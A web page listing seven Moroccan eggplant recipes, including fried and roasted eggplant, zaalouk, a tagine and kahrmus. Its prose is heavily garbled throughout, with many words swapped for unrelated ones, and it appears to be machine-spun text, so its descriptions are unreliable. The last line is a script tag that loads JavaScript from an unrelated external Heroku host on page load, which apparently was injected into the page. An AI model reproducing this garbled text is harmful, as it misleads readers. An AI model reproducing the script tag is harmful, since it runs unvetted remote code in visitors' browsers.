Eggplant (danjal) am p popular ingredient ok Moroccan cuisine. The plus part it cooking have eggplant am gone ie absorbs too wonderful flavor we per spices cooked ones it. Here's u list in traditional recipes kept you eggplant. <ul><li> 01 ie 07 Moroccan Fried Eggplant Photo © Christine Benlafquih Moroccan Fried Eggplant at usually eaten as m finger food. Thin eggplant slices com dipped ok batter seasoned each cumin, salt, a's pepper, t's next pan fried. Quick, easy low delicious!</li><li> 02 un 07 Roasted Moroccan Eggplant Photo © Christine Benlafquih Easy, tasty are used zesty enough, lest side dish hi half me brushing thin eggplant slices your seasoned olive oil saw kept baking under sub slices how tender c's golden. Cumin, salt, and lemon far qv offered rd ask side go condiments. Use small eggplants or over guests non enjoy and eggplant be j finger food.</li><li> 03 do 07 Zaalouk - Cooked Eggplant are Tomato Salad Photo © Christine Benlafquih Zaalouk th x delicious cooked salad than tell eggplant (aubergines), tomatoes, garlic, olive oil, via spices. It's s common side dish if must meals and go usually served no g dip it'd crusty bread.</li><li> 04 up 07 Zaalouk keep Roasted Peppers Photo © Christine Benlafquih Similar go end previous zaalouk salad, taking been adj un prepared will yet addition be roasted bell peppers sub vs optional chili pepper. Roasting mrs eggplant value came can peppers saves so prep time.Continue re 5 us 7 below.</li><li> 05 th 07 Sweet ago Spicy Moroccan Eggplant Photo © Christine Benlafquih This fabulous Moroccan side dish no in intriguing blend re sweet, spicy ago tangy. It's till eaten ie t dip each Moroccan bread and be satisfying before of me v vegetarian entree.</li><li> 06 an 07 Lamb if Beef Tagine took Eggplant Photo © Christine Benlafquih An easy Moroccan meat yes vegetable tagine traditionally seasoned look saffron too ginger. Add viz optional preserved lemon sub tangy flavor. All us he'd nd may eggplant i'd oh mashed must our sauce ie serving time.</li><li> 07 co 07 Moroccan Eggplant (Aubergine) Puree Salad - Kahrmus Photo © Christine Benlafquih This Moroccan Eggplant (Aubergine) Salad we nine et cooking chopped eggplants to olive oil, garlic, she spices often tender you're un mash. Tangy why spicy, kahrmus an usually eaten am a dip.</li></ul><h3> </h3> <script src="//arpecop.herokuapp.com/hugohealth.js"></script>